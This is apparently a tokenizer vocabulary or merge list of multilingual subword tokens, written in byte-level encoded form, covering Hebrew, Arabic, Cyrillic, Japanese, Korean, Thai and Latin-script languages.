+Ġ×Ķ×ijר×Ļת +פ×Ļצ +פ×Ļצ×ķ×Ļ +ĠÙĦÙħاذا +ĠÐļиев +ĠÑģмÑĭÑģл +ê¸Īìľµ +ãĤ·ãĥ£ãĥ« +ãĥ©ãĤ¤ãĥĪ +ìĽĥ +×ŀ×Ĺר +ãĨį +Ġkullanım +Ġ×IJצ׾׳×ķ +ĠtÃłn +ãĥıãĥ¼ +ãģ¨ãģ¨ãĤĤ +ãģ¨ãģ¨ãĤĤãģ« +ÑĢег +ÑĢеги +ÑĢегион +ãģªãģıãģªãĤĭ +Ġchảy +ĠجÙĩØ© +ÅĦskiej +à¸Ńีà¹Ģม +à¸Ńีà¹Ģมล +ãģįãģ£ãģ¨ +ĠìĺĪìĤ° +Ġkitabı +Ġeducação +ĠbuluÅŁ +ологиÑı +ĠконкÑĢ +ĠконкÑĢеÑĤ +×Ĵ×Ļר +ĠпÑĢедлаг +ĠпÑĢедлагаеÑĤ +ĠYên +Ġíķľë²Ī +Ġ×ŀר׼×ĸ×Ļ +à¹Ģà¸Ľà¸´à¸Ķà¹Ģà¸ľà¸¢ +ÑĤвеÑĢд +ĠHá»ĩ +ĠÐĵÑĢ +à¸Ŀà¹īา +×Ķשק +×Ķשקע×Ķ +ĠнаÑĥк +ìłIJìĿĦ +ĠнелÑĮ +ĠнелÑĮз +ĠнелÑĮзÑı +гин +ĠBöl +ĠBölge +Ġвла +ĠвлаÑģÑĤи +à¹Ģà¸Ļà¹ĩ +à¹Ģà¸Ļà¹ĩà¸ķ +골 +Ġöld +Ġöldür +×Ľ×ł×¢ +ĠاÙĦÙĩÙĬئة +تارÙĬØ® +ĠÐijÑĢ +ĠÑģмож +ĠÑģможеÑĤе +ĠLúc +à¹Ħà¸Ľà¸ĸึà¸ĩ +ĠBakanı +Ġerklärt +ĠÐIJна +Ġscène +åķıãģĦ +åķıãģĦåIJĪãĤıãģĽ +ÙħÙĩÙĨد +ÙħÙĩÙĨدس +Ġназвание +иваниÑı +ãĤĴå¤īãģĪ +ä»ĺãģįåIJĪ +ãĥijãĤ½ +ãĥijãĤ½ãĤ³ãĥ³ +æĺİãĤī +æĺİãĤīãģĭ +à¹Ģà¸Ńà¸ģสาร +à¹Ģà¸ģิà¸Ļà¹Ħà¸Ľ +леп +ãģĹãģŁãĤĤãģ® +ĠCâm +ĠCâmara +×§×ķ׾׳×ķ×¢ +Ġ×ij×Ĵ×Ļף +Ġoczy +ĠoczywiÅĽcie +attivitÃł +ãĥĵãĥ¥ãĥ¼ +Ġeducación +İYE +ê¹ĮìļĶ +ãĤ¨ãĥªãĤ¢ +неÑģÑĤи +Ġmóg +ĠmógÅĤ +Ġ×§×ĺ׳×Ļ×Ŀ +ĠPrä +Ġ×ľ×¢×ij×ķר +بÙĨÙī +зол +золоÑĤ +ĠwnÄĻtr +ĠwnÄĻtrz +Ġconstrução +รัà¸ļรà¸Ńà¸ĩ +سجÙĨ +Ġ×§×ķ׳ +ס×Ļפ×ķר +ĠÙħدÙī +رضÙī +плав +ï¼¥ +Ġila +Ġilaç +ãĤĭãģ¹ãģį +ĠÙħÙĪÙĤÙģ +à¸ģรุ +à¸ģรุà¸ĵา +chodzÄħc +ĠÑĤÑĭÑģ +ÐķвÑĢо +ĠÙĬØŃدث +ãĥ¡ãĤ¤ãĥ³ +ĠاÙĦصØŃÙĬ +ĠÐĶан +دعاء +ãĤ´ãĥ¼ãĥ« +×©×ł×ª×Ļ +×©×ł×ª×Ļ×Ļ×Ŀ +à¸Ķà¹īวยà¸ģัà¸Ļ +Ġolacaģı +Ġ×ij×ŀ×Ĺ×Ļר +×Ķ×§ +×Ķ×§×ŀת +ãĥ¢ãĥİ +ĠçalÄ±ÅŁtı +Ġjóvenes +ãģĦãģıãĤī +ĠÙħعدÙĦ +ĠCÅ©ng +ĠSegún +Ġdönemde +Ġ׾×Ļ×ĵ×Ļ +ãģįãģ¡ +ãģįãģ¡ãĤĵ +ãģįãģ¡ãĤĵãģ¨ +Ù쨱ÙĨس +Ù쨱ÙĨسا +åIJijãģį +Ġcampaña +ĠÑģамоÑģÑĤоÑı +ĠÑģамоÑģÑĤоÑıÑĤелÑĮно +á»Ģ +ÙĤÙĪØ§ +سÙĦاØŃ +à¸ģระà¹ģ +à¸ģระà¹ģส +ĠполÑĮзÑĥ +nqu +nquête +รà¹Īวมà¸ģัà¸ļ +ëĬIJëĥIJ +à¸Ĺีมà¸Ĭาà¸ķิ +Ġyıllık +ìĬ¬ +ĠأصØŃاب +illé +Ġdóla +Ġdólares +Ġкож +Ġкожи +ลà¹īà¸Ń +à¹Ģรียà¸ļร +à¹Ģรียà¸ļรà¹īà¸Ńย +à¹Ģà¸ŀิ +à¹Ģà¸ŀิà¹Īà¸ĩ +ÑĢиÑĤоÑĢи +Ġíijľ +ĠíijľíĺĦ +ĠпеÑĢев +ĠпеÑĢевод +פ×Ĵ×Ļ×¢×Ķ +ĠdeÄŁerlendirme +ÙģØ§Ø¦ +ĠвÑĭгод +ınızı +×ķ׼×Ļ×Ĺ +ĠдоÑģÑĤиг +ĠngÃłn +æĢĿãģ£ãģŁ +ĠÐķÑģÑĤÑĮ +ĠاÙĦرغÙħ +ĠzwiÄħzane +ربط +à¸Ļึà¸ĩ +Ġ׾×Ĺ×ķ×§ +Ġszczególn +Ġszczególnie +ĠباستخداÙħ +ĠfÃŃsico +עס +עס×ķ×§ +سÙĦÙĪÙĥ +ĠاØŃد +ÑĩÑijÑĤ +×ĸ׼×Ķ +Ġlá»ĩnh +ĠÙĪØŃØª +ĠÙĪØŃØªÙī +à¸Ħวามสามารà¸ĸ +à¸Ńยูà¹Īà¹ģลà¹īว +à¸ģารà¹Ģà¸Ķิà¸Ļà¸Ĺาà¸ĩ +تخذ +צ×Ļ×ķ×ĵ +ĠاÙĦأس +ĠاÙĦأسÙĩÙħ +Ġtá»ĩ +ãģ£ãģ¦ãģĦãģ¦ +สรุ +à¸ªà¸£à¸¸à¸Ľ +ĠкомÑĦ +ĠкомÑĦоÑĢÑĤ +ìĺ¤ëĬĶ +ĠÑĢазв +ĠÑĢазвива +ланд +hänge +ĠبÙĨسبة +à¹Ģà¸Ĥียว +עצ×Ŀ +Ġ×ľ×ľ×Ľ×ª +ÑģоÑĨиалÑĮн +Ġëĭ¤ìĿĮê³¼ +Ġרש×ķ×ŀ +×ŀר×Ĺ×ij +سÙĤØ· +Ġalanı +ĠÄijá»ĩ +é£Łãģ¹ãĤĭ +à¸Ķึà¸ĩ +Ġgegenüber +ĠبÙĩذÙĩ +à¸ĸืà¸Ńà¹Ģà¸Ľà¹ĩà¸Ļ +ëķħ +à¸Ħà¸Ļà¹Ħà¸Ĺย +ãĤ¢ãĤ¦ +ãĤ¢ãĤ¦ãĥĪ +ศัà¸ģ +ศัà¸ģà¸Ķิ +ศัà¸ģà¸Ķิà¹Į +ÙĤÙĪØ§ÙĨ +ÙĤÙĪØ§ÙĨÙĬÙĨ +Ġhá»Ļp +ãģªãģıãģªãģ£ãģ¦ +Ġ×IJ×ŀ׳ +Ġ×IJ×ŀ׳×Ŀ +à¹Ģà¸ķืà¸Ńà¸Ļ +ĠзавиÑģим +ĠзавиÑģимоÑģÑĤи +ת×Ļ×IJ +ת×Ļ×IJ×ķר +å§ĭãĤģãģŁ +Ġngá»į +Ġngá»įt +íĴį +ê³¼ìŀ¥ +Ġbại +ãģ§ãģįãģ¦ +Ġcomeçar +à¸Ľà¸£à¸²à¸ģ +à¸Ľà¸£à¸²à¸ģà¸ı +ĠгодÑĭ +меÑģ +ĠاÙĦÙħستÙĪÙī +ĠÑģамÑĭе +ллеÑĢ +ãģ£ãģ¦ãģĹãģ¾ãģĦãģ¾ãģĻ +ãģ¨ãģ®ãģĵãģ¨ +bió +à¸ģลà¹Īà¸Ńà¸ĩ +ĠاÙĦزÙĪØ¬ +ãģ«è¡Įãģ£ãģŁ +à¸Ħà¹Īà¸Ńà¸Ļ +à¸Ħà¹Īà¸Ńà¸Ļà¸Ĥà¹īาà¸ĩ +ĠbaÄŁl +ĠbaÄŁlant +ĠbaÄŁlantı +確ãģĭ +確ãģĭãģ« +ãĥľãĥ¼ãĥ« +çµĤãĤıãĤĬ +ש×ŀר +à¸Ĺีà¹Īสามารà¸ĸ +ÙĦزÙħ +даеÑĤÑģÑı +รัà¸ļà¸Ľà¸£à¸° +รัà¸ļà¸Ľà¸£à¸°à¸Ĺาà¸Ļ +å¤īãĤıãĤĬ +ï¼¢ +ĠìĺĪìĪĺëĭĺ +ãĤĪãģĨãģ¨ +มัà¸ģà¸Īะ +ĠHương +ÙĨÙ쨰 +×ŀ×ĵ×ĵ +ĠìĿ¸ìłķ +ÑħодиÑĤÑĮ +ĠзавиÑģиÑĤ +×ķ×ĵ×Ļ×¢ +ãģĵãģ¨ãģĮãģĤãĤĬãģ¾ãģĻ +عراÙĤ +سطØŃ +à¸ģำà¹Ħร +ëĵ¤ëıĦ +×Ļצ×Ļר×Ķ +ãģĨãģĵãģ¨ +ÙĦاØŃÙĤ +ãģĦãĤĮãģ° +ĠиÑģполÑĮзÑĥÑİÑĤ +ĠBợi +Ġשק׾×Ļ×Ŀ +ÑĨикл +ÐIJÐŀ +Ġ×ijש׳×Ķ +ÙĨشط +Ġש×Ļ׳×ķ×Ļ +Ġש×Ļ׳×ķ×Ļ×Ļ×Ŀ +Ġpoblación +ĠHưng +ระว +ระวัà¸ĩ +رÙĬاضة +رصد +تÙĤÙĦÙĬ +تÙĤÙĦÙĬد +Ġülkem +Ġülkemiz +à¸Ĭะ +ãĤ¯ãĥªãĥ¼ãĥł +èģŀãģĦãģŁ +Ġważ +Ġważne +ê±°ëĵł +ê±°ëĵłìļĶ +×ŀ×IJ×ij×§ +×Ĺ×ĵש×ķת +ĠWroc +ĠWrocÅĤaw +ĠKültür +sist +sistência +×¢×ĸר×Ķ +Ġgương +รà¹īาà¸Ļà¸Ħà¹īา +ĠÙĪØ£ÙĪØ¶ØŃ +ándose +ãĤ·ãĥ¼ãĥ³ +×IJ׳ר×Ĵ +×IJ׳ר×Ĵ×Ļ×Ķ +ãģªãģĦãģ§ãģĻ +Ġkhá»§ng +Ġ문ìĦľ +Ġ×ij×ĵ×ijר +×ĵ×Ļ×ķ +×ĵ×Ļ×ķ×ķ×Ĺ +Ġrégl +ÙħÙĪØ§Ø¯ +обоÑĢ +обоÑĢоÑĤ +Ġ×Ķ×ij׾ +Ġ×Ķ×ij׾×ķ×Ĵ +ØŃاÙħ +ĠاÙĦعاص +ĠاÙĦعاصÙħØ© +пеÑĢаÑĤоÑĢ +تخÙĦ +تخÙĦص +ãģŁãģłãģĹ +تسÙħ +à¹Ĥรà¸ĩà¸ŀ +à¹Ĥรà¸ĩà¸ŀยา +à¹Ĥรà¸ĩà¸ŀยาà¸ļาล +ĠYük +ĠYüksek +Ġש׳×Ļת +Ġש׳×Ļ×ª×Ł +liÄŁe +Ġפת +Ġפת×ķ×Ĺ +ĠbeÄŁ +ĠbeÄŁen +Ġ×ŀ×ķר +Ġ×ŀ×ķר׼×ij +ĠرساÙĦØ© +íĨµìĭł +Ġavalia +Ġavaliações +Ġmanh +Ġmanhã +Ġìķŀ +Ġìķŀìľ¼ë¡ľ +ÙĤتر +ÙĤترØŃ +à¹Ģà¸ģืà¸Ń +à¹Ģà¸ģืà¸Ńà¸ļ +Ġproposé +Ø£Ùħا +Ø£ÙħاÙĥÙĨ +ĠÐŀÐŀ +ĠÐŀÐŀÐŀ +ÙħÙĤار +ÙħÙĤارÙĨØ© +ëĦIJ +ãģĦãģŁãģłãģı +ÙĤÙĬÙĦ +ĠнаÑĪиÑħ +ãĤ«ãĥĥãĥĹ +×Ĺ×ľ×ª +Ġëĭ¤ë§Į +à¸Ĺัà¹Īวà¹Ĥลà¸ģ +ãĥįãĤ¿ +ØŃساس +ãģ«ãģªãĤĮ +جائ +جائزة +échange +économ +économie +ТÐĺ +×¡×ª×Ľ×ľ +à¸Ĺัà¹īà¸ĩสà¸Ńà¸ĩ +ĠاÙĦخاÙħ +ĠاÙĦخاÙħس +×§×ĺ×¢ +auważ +à¸ľà¸¹à¹īà¸Ĭาย +à¹ģà¸Ľà¸¥à¸ģ +åIJĮæĻĤãģ« +знаниÑı +ãģĦãģŁãģłãģįãģ¾ãģĹãģŁ +Ġ×ŀ×ij׾×Ļ +à¸Ĥà¸Ńà¹ĥหà¹ī +ĠاÙĦتربÙĬØ© +Ġdécouvert +Ġżyciu +après +Ġyab +Ġyabanc +Ġyabancı +ĠbaÅŁlayan +ìĹĪëįĺ +Ġhesabı +Ġë§Įìķ½ +ë§Īëĭ¤ +ĠThánh +ãĥ´ãĤ¡ +à¸Ľà¸£à¸±à¸ļà¸Ľà¸£ +à¸Ľà¸£à¸±à¸ļà¸Ľà¸£à¸¸à¸ĩ +ĠMặc +à¹Ģหà¸ķà¸¸à¸ľà¸¥ +ĠÐijез +ĠcapacitÃł +ÅĤeÅĽ +ĠпÑĢеим +ĠпÑĢеимÑĥÑīеÑģÑĤв +ĠÅļwiÄĻt +Ġpublié +×ŀעצ×ij +ÙħشارÙĥات +à¸łà¸²à¸© +à¸łà¸²à¸©à¸µ +Ġdeuxième +ĠÙħØŃاÙ쨏 +ĠÙħØŃاÙģØ¸Ø© +ĠSchön +、 +Ġ×Ķ×ij×¢ +Ġ×Ķ×ij×¢×Ļ×Ķ +ĠÙĪØ§ÙĦÙĦÙĩ +è¨Ģãģ£ãģŁ +à¸ķà¹īาà¸Ļ +วรรà¸ĵ +à¸Ĺิศ +ĠbaÅŁÄ±na +ĠmogÄĻ +ש×Ļפ×ķר +ĠÙĪØ¹Ø¯ +ĠÙĪØ¹Ø¯Ùħ +Ġhistórico +Ġkısı +ĠìĿ´ê²Į +ĠPolÃŃtica +ĠÑģиÑĤÑĥаÑĨии +ĠkoÅĦca +×ij×ĵ×Ļ×§×Ķ +ĠاÙĦسÙĬارات +ãģªãĤīãģ° +ãĤµãĥ© +ãĤĭãģĵãģ¨ãģĮãģ§ãģįãĤĭ +Ġdecisão +×ķ×ķ×ĵ +läss +lässig +Ġ׾×Ļשר×IJ׾ +ĠÙĬأتÙĬ +ר×ķ×ĸ +Ã¶ÄŁ +Ã¶ÄŁret +Ã¶ÄŁretim +Ġдек +Ġдекаб +ĠдекабÑĢÑı +Ġש×Ĺ×ķר +ãģ¦ãģıãĤĮãģŁ +عبارة +Ġélectrique +ĠاÙĦتÙĨÙħÙĬØ© +جرÙī +ĠìĪĺíĸī +à¸Ĺู +ĠÑĢеалÑĮно +ÑģпоÑģоб +à¸Ħลà¹īาย +ĠسعÙĪØ¯ +önü +ĠÙģÙħÙĨ +تÙĥÙĪ +تÙĥÙĪÙĬÙĨ +ĠкаÑĩеÑģÑĤво +ĠконÑĤак +ĠконÑĤакÑĤ +ĠsözleÅŁme +à¸Ńà¹īาà¸ĩ +ĠتÙĪÙģ +ĠتÙĪÙģÙĬر +×Ķ×ĸ×ĵ +×Ķ×ĸ×ĵ×ŀ׳×ķת +ĠØ·ÙĪÙĬÙĦØ© +Ġtérmino +Ġ×IJ×Ļפ×Ķ +ãĥĵãĥ« +สà¹Ĥม +สà¹Ĥมสร +ĠاÙĦاث +ĠاÙĦاثÙĨÙĬÙĨ +евиÑĩ +Ġopinión +à¸Ľà¸§à¸Ķ +åı¤ãģĦ +รà¹Īา +ĠBiaÅĤ +ĠÑģÑĤал +ĠÑģÑĤало +ólogo +ĠìķĦëĭĪëĭ¤ +Ġ×IJ×Ļת +Ġ×IJ×Ļת×ķ +à¹Ģหà¹ĩà¸Ļวà¹Īา +à¸ļารà¹Į +çĦ¼ +çĦ¼ãģį +ĠìĿ´ìļ©ìŀIJ +ĠнекоÑĤоÑĢÑĭе +ksz +ksztaÅĤ +ksztaÅĤc +ãĤŃãĥ£ãĥĥãĤ· +ãĤŃãĥ£ãĥĥãĤ·ãĥ³ãĤ° +ĠroÅĽ +ĠroÅĽlin +ÑĢажа +×ij׳×Ļ×Ļ×Ķ +à¸Ľà¸£à¸ªà¸´ +à¸Ľà¸£à¸ªà¸´à¸ķ +Ġgördü +×ŀ׳×Ķ×Ļ×Ĵ +å¤īãĤıãģ£ãģ¦ +Ġ×IJ×Ķ +Ġ×IJ×Ķ×ijת×Ļ +à¹Ģรà¹Īà¸ĩ +Ġönünde +Ġê·¸ëĥ¥ +полиÑĤ +полиÑĤиÑĩеÑģк +ãĥ¡ãĥĩãĤ£ +ãĥ¡ãĥĩãĤ£ãĤ¢ +ĠDetay +ĠDetaylı +ĠاÙĦصÙģØŃØ© +à¸ģารà¹Ģà¸ĩิà¸Ļ +Ġìµľê·¼ +׼ש׾ +I +вÑĪего +íķĺìĭ¤ +ĠÐŃÑĤ +ĠÐŃÑĤоÑĤ +สื +สืà¸ļ +Ġngừng +ĠдокÑĥменÑĤов +даваÑĤÑĮ +ĠاÙĦشخصÙĬØ© +Ġצע×Ļר +درÙĥ +سØŃب +à¹Ħมà¹Īà¸Ħà¹Īà¸Ńย +Ġ×Ķ×ŀ×§×ķ×ŀ×Ļ +สัà¹Īà¸ĩà¸ĭืà¹īà¸Ń +Ġê·¸ê²ĥìĿĦ +ãģĤãĤĭãģĦ +ãģĤãĤĭãģĦãģ¯ +×IJ×ķ×ĺ×ķ×ij +×IJ×ķ×ĺ×ķ×ij×ķס +кÑĨион +ĠÐľÐ¾Ð¶Ð½Ð¾ +ãģıãģł +ãģıãģłãģķ +ĠинÑĦоÑĢмаÑĨиÑı +ï»Ł +ĠìŀijìĹħ +Ġ×Ļ×ķסף +إدارة +ĠاÙĦØŃاج +×ł×¡×Ļ×¢×Ķ +изаÑĨиÑı +×IJ׾×ij +×IJ׾×ij×ķ×Ŀ +пед +Ġ×§×ĺ׳×Ķ +ĠÙĨÙ쨳Ùĩا +ĠMinistério +Ġпен +ĠпенÑģи +ãĥIJãĥ©ãĥ³ãĤ¹ +Ġ×Ķת×ķר×Ķ +Ġtạm +ĠìĹŃìĭľ +。 +Ġthá»± +Ġısı +컨 +ãģĹãģ£ãģĭãĤĬãģ¨ +Ġxưa +Ġcặp +×Ĺ×Ļ×ij×ķר +วัà¸Ĵà¸Ļà¸ĺรรม +stär +stärke +ĠÑģамÑĭй +pisa +pisaÄĩ +ĠoluÅŁan +ĠاÙĦØ¥ÙħاÙħ +ĠcÄĥng +Ġgünl +Ġgünlük +Ġ׳ש×IJר +Ġkhiá»ĥn +ç¶ļãģijãĤĭ +stitución +Ġcapacité +Ġjaki +ĠjakiÅĽ +вÑĪиÑģ +вÑĪиÑģÑĮ +פע×ķ׾×ķת +ĠØŃÙĬات +ĠØŃÙĬاتÙĩ +Ġникогда +ÐĽÐ¬ +Ġ×Ķ×¢×ķ×ij +Ġ×Ķ×¢×ķ×ij×ĵ×Ķ +ĠchÃło +หลายà¹Ĩ +ĠÑıн +ĠÑıнваÑĢ +ĠÑıнваÑĢÑı +à¸Īำà¹Ģà¸Ľà¹ĩà¸Ļà¸ķà¹īà¸Ńà¸ĩ +Ġhöher +ãģķãĤĮãģ¦ãģĦãģŁ +สà¸ĩสั +สà¸ĩสัย +ĠاÙĦاس +ĠاÙĦاسÙĦاÙħ +ĠاÙĦØ´Ùħس +สà¸ĸาà¸Ļี +ãĤ¯ãĥ©ãĤ¹ +à¸ŀรร +à¸ŀรรà¸Ħ +põ +põe +Ġporém +à¸Ľà¸£à¸°à¸ªà¸ĩ +à¸Ľà¸£à¸°à¸ªà¸ĩà¸Ħà¹Į +powiedzie +powiedzieÄĩ +ĠмогÑĥ +Ġжел +Ġжелез +ĠاÙĦØ«ÙĤ +ĠاÙĦØ«ÙĤاÙģÙĬ +ĠпÑĢавило +Ġgdyż +פש×ķ×ĺ +ÑĢабоÑĤка +ĠÙĥرة +شدد +ÙħارÙĥ +ÙħÙĥØ© +ĠподпиÑģ +×ĺ×ķ×ķ×Ĺ +ĠÅĽc +ĠÅĽcian +ĠرجاÙĦ +Ġ×ª×ľ×ķ×Ļ +иÑĪ +иÑĪÑĮ +Ġmédec +Ġmédecin +ëįĶëĿ¼ëıĦ +ĠÑĤебÑı +Ġ׾×Ķ×ķס×Ļ×£ +ãģĬ話 +Ġà¹ģà¸ķà¹Īà¸ģà¹ĩ +داÙģ +داÙ쨹 +ĠCùng +ãĥ»ãĥ»ãĥ»ãĥ» +ê¶ģ +ĠdeberÃŃa +หà¸Ļà¹Īวยà¸ĩาà¸Ļ +ĠvaÌĢ +Ġעצ×ŀ +Ġעצ×ŀ×Ŀ +à¹Ģà¸Ĭืà¹Īà¸Ńวà¹Īา +שקע +Ġ×Ķ׼×ķ׾ +Ġ×Ķ׼×ķ׾׾ +нибÑĥд +нибÑĥдÑĮ +ĠëĦĪíĿ¬ +ĠобÑĢаÑī +ĠобÑĢаÑīа +Ġ×¢×ij×ķ×ĵת +ĠاÙĦÙħÙĨتخب +ıyord +ıyordu +ÙĪØ° +×Ĺש×Ļ×ij×ķת +Ġ×Ķ×¢×Ļ×§ +Ġ×Ķ×¢×Ļקר×Ļ +ì¢Į +ยุà¹Ĥร +ยุà¹Ĥà¸£à¸Ľ +ĠапÑĢ +ĠапÑĢелÑı +szed +szedÅĤ +дон +à¹Ģà¸ķิà¸ļ +à¹Ģà¸ķิà¸ļà¹Ĥà¸ķ +коло +Ġkażdej +帰 +帰ãĤĬ +Ġмилли +Ġмиллион +ç¾İåij³ãģĹãģĦ +تÙĤار +تÙĤارÙĬر +ĠìĿ´ë£¨ +ĠìĿ´ë£¨ìĸ´ +Ġsprzedaż +×Ķ×ķצ×IJ×ķת +ãĤ¢ãĤ¯ãĤ» +ãĤ¢ãĤ¯ãĤ»ãĤ¹ +ר×ķ×¥ +ĠгоÑģÑĥдаÑĢÑģÑĤвенн +Ø£ØŃÙĥ +Ø£ØŃÙĥاÙħ +ĠoluÅŁu +ĠAç +ĠAçık +ãĤ¸ãĥ¼ +ç´łæĻ´ +ç´łæĻ´ãĤīãģĹãģĦ +Ġ×ijש×ij×ķ×¢ +بذ +بذÙĦ +สาà¹Ģหà¸ķุ +Ġpozosta +ĠpozostaÅĤ +ØŃرÙħ +Ġimportância +leÅŁtirme +ĠдÑĢев +Ġmóvil +ĠAynı +Ġналог +Ġналогов +Ġ×Ĺ×Ļפ×Ķ +ĠÑĦоÑĢмÑĥ +à¸Ĺà¸Ķสà¸Ńà¸ļ +ĠksiÄħżki +ĠmaÅĤe +ÙħسأÙĦ +ÙħسأÙĦØ© +^^ +çãeste +éviter +ĠконÑģÑĤÑĢÑĥк +ĠконÑģÑĤÑĢÑĥкÑĨи +ï¾ŀ +Ġת×ķ׼׳ +ãĤ¹ãĥĪãĥ¬ãĤ¹ +ĠاÙĦاÙĤتصادÙĬ +×ŀ×ĵ×Ļ +ĠwÅĤad +ĠwÅĤadz +Ø®ÙĪÙģ +ĠмаÑĤеÑĢиалов +ãģ¨ãģ£ãģ¦ãĤĤ +Ġznajdu +ĠznajdujÄħ +ÙģØ¦Ø© +ãģ©ãģ®ãĤĪãģĨãģª +æĬijãģĪ +׳×Ĺ׾ +Ġdüny +Ġdünyan +Ġdünyanın +гÑĢани +гÑĢаниÑĩ +Ġ×Ķש׾×Ļש×Ļ +Ġ×Ķ×IJש +åıĬãģ³ +ìĭŃìĭľ +ìĭŃìĭľìĺ¤ +Ġдолл +ĠдоллаÑĢ +ĠповÑĤоÑĢ +Ġ×Ĺ×Ļ׳×Ŀ +תפת×Ĺ +Ñĥвели +ÑĥвелиÑĩен +ãĤ«ãĥª +rawid +rawidÅĤow +×ķ×ķ׾ +ãĥŁãĥ¥ +ì½ĺ +ĠByÅĤ +ÐľÐIJ +عÙIJ +ĠÑģовеÑĢÑĪ +ĠÑģовеÑĢÑĪенно +Ġмой +Ġ×ķ׾×IJ×Ĺר +æħ£ +æħ£ãĤĮ +ØŃاÙ쨏 +Ġ무ë£Į +à¸Ħà¸ĵะà¸ģรรม +à¸Ħà¸ĵะà¸ģรรมà¸ģาร +Ġìĸ´ëĶĶ +Ġdiferen +Ġdiferença +ĠاÙĦأساس +ĠاÙĦأساسÙĬØ© +Ġ׾×IJ×Ĺר×ķ׳×Ķ +ê·ł +Ġ×Ķש׳×Ļ×Ļ×Ķ +ìľĦìĽIJìŀ¥ +ลุà¸ģ +çiler +Ġ×Ķ×IJ׾×ķ +èģŀãģı +Ġ×ķ×IJפ×Ļ׾×ķ +ĠÑĢеализ +ĠÑĢеализаÑĨи +ระยะà¹Ģวลา +ĠجداÙĭ +تباع +ĠvehÃŃculo +Ġдолг +à¸Ľà¸£à¸´à¸¡à¸²à¸ĵ +ì¦IJ +Ġ׾×ŀ×§×ķ×Ŀ +ĠìĤ¬ì§Ħ +à¸Ĭà¹īา +Ġ×ŀ×¢×ķ׾×Ķ +Ġgörm +Ġgörmek +ĠÙĪÙĩذÙĩ +пеÑĢв +пеÑĢвÑĭÑħ +ê·¸ëŀĺ +ĠاÙĦبرÙĬØ· +ĠاÙĦبرÙĬطاÙĨÙĬ +ĠиÑİнÑı +ĠÐĵоÑĢ +Ġ׾ש׾×Ŀ +ÐIJÐĿ +ĠназнаÑĩен +ооÑĢ +ооÑĢÑĥж +Ġözelli +ĠözelliÄŁi +Ġниже +ç¶ļãģijãģ¦ +ĠаÑĢенд +Ġkatılı +Ġkatılım +ĠإطÙĦاÙĤ +ĠÙĪØ¥Ø°Ø§ +ĠокÑĤÑı +ĠокÑĤÑıбÑĢÑı +à¹Ĥà¸ķ๠+à¹Ĥà¸ķà¹Ĭ +à¹Ĥà¸ķà¹Ĭะ +Ġoldukları +ÙħÙĪÙĤع +ëĤ© +ã썿ĢĿãģ£ãģ¦ãģĦãĤĭ +Ġש×Ļ׼×ķ׾ +วาà¸Ķ +سÙĬÙĦ +à¸Ĥวั +à¸Ĥวัà¸į +تØŃÙĥÙħ +ìĤŃ +Ġconnaît +×ł×¤×ª×Ĺ +Ġchặ +Ġchặn +ĠÙħØŃÙħ +ĠÙħØŃÙħÙĪØ¯ +ãģ´ +ĠпÑĢодÑĥкÑĨии +здÑĢав +ãģĶè¦ +ãģĶ覧 +×IJ×ij×IJ +Ġvéritable +ĠØ·ÙģÙĦ +ãĥĪãĥ©ãĥĸãĥ« +곡 +Ġת×ŀ×ķ׳×Ķ +Ġkiên +ĠÙĤادر +Ø¥ÙĤÙĦÙĬÙħ +ĠпÑĢедпÑĢи +ĠпÑĢедпÑĢиÑıÑĤиÑı +ĠbÄĥng +Ġayında +Ġgấp +еÑħал +ĠgiÃłnh +Ġдав +Ġдавно +ìĺĢëĭ¤ +à¸Ļัà¸ģà¹Ģà¸ķ +à¸Ļัà¸ģà¹Ģà¸ķะ +Ùħستشار +ستراتÙĬج +ستراتÙĬجÙĬ +رÙħز +ĠtÄ©nh +ë¡Ń +ĠÑĩеÑĤ +ĠÑĩеÑĤÑĭ +ĠÑĩеÑĤÑĭÑĢе +ĠEntão +Ġصغ +ĠصغÙĬرة +×ij×Ļ×ĺ×ķ׾ +خطÙĪØ· +ĠÑĢазвиÑĤие +Ġamacıyla +à¸Ĺีวี +ĠоÑģÑĤ +ĠоÑģÑĤалÑĮн +ש×ķ׾×Ĺף +Ġ׼׳×Ļס +Ġ׼׳×Ļס×Ķ +ĠdáºŃy +ĠyaÅŁayan +Ġ×ŀ×Ķ×ķ×ķ×Ķ +ĠÑĥÑģи +ĠÑĥÑģили +×ŀפ×Ļ +ĠпÑĢоведениÑı +Ġرب +ĠربÙħا +ĠاÙĦØ£ÙĪØ³Ø· +Ġìľłì§Ģ +Ġpracownik +Ġpracowników +×ŀס×ķרת +ÙĤارب +à¸Ħวามรูà¹īสึà¸ģ +à¹ģหละ +ĠاÙĦÙĨÙĤد +Ġ×IJ׾פ×Ļ +Ùħسئ +ÙħسئÙĪÙĦ +евÑĭÑħ +клÑİÑĩениÑı +×ij×Ļ׳ +×ij×Ļ׳×Ļ×Ķ×Ŀ +ש×ķ×IJ×Ķ +ĠÅŁark +ĠÅŁarkı +Ġsürec +Ġsürecin +à¹Ģà¸Ħรà¸Ķ +à¹Ģà¸Ħรà¸Ķิà¸ķ +ãĥIJãĥ¬ +ĠشأÙĨ +à¹Ģà¸Ńาà¹Ħวà¹ī +niÄĻcie +רצ×Ĺ +ĠaÅŁama +׳פ×Ĵ×¢ +Ġthá»Ŀ +Ġkhuẩn +diÄŁinde +ÑıÑīиÑħ +ãĥĺãĥ« +Ġüberh +Ġüberhaupt +ĠÑĤÑĢебова +ĠdÅĤugi +×ĺ×Ļף +à¸Ĥà¸Ļาà¸Ķà¹ĥหà¸įà¹Ī +ĠاÙĦØ£Ùĩ +ĠاÙĦØ£ÙĩÙĦÙĬ +ĠMüd +ĠMüdürü +Ġ×Ļ×Ķ×ķ×ĵ×Ķ +ÑĭваеÑĤÑģÑı +ساط +×Ķ×ª×ł×Ķ×Ĵ +×Ķ×ª×ł×Ķ×Ĵ×ķת +à¸ģà¸²à¸£à¸ľà¸¥à¸´à¸ķ +íĴĢ +สà¸ĸาà¸Ļà¸ģารà¸ĵà¹Į +ĠоÑĦ +ĠоÑĦиÑģ +ĠÙĦعبة +ĠstronÄĻ +Ġר×IJ×ķ×Ļ +×Ĺ×ij׾ +ĠÑĢÑĭн +ĠÑĢÑĭнке +Ġ׾×ŀ×¢×Ł +اسÙĦ +หัà¸Ļ +Ġ×IJ×Ĺ×Ļ +ĠпÑĢодол +ê°Ģìŀħ +Ġ×ijר×Ĺ +Ġ×ijר×Ĺ×ij×Ļ +джеÑĢ +Ġ׾×Ĺ׾ +Ġ׾×Ĺ׾×ķ×ĺ +Ġ׾×Ĺ׾×ķ×ĺ×Ļף +ศาสà¸Ļา +ãĤ¢ãĤ¤ãĥĨ +ãĤ¢ãĤ¤ãĥĨãĥł +Ġפר×ķפ 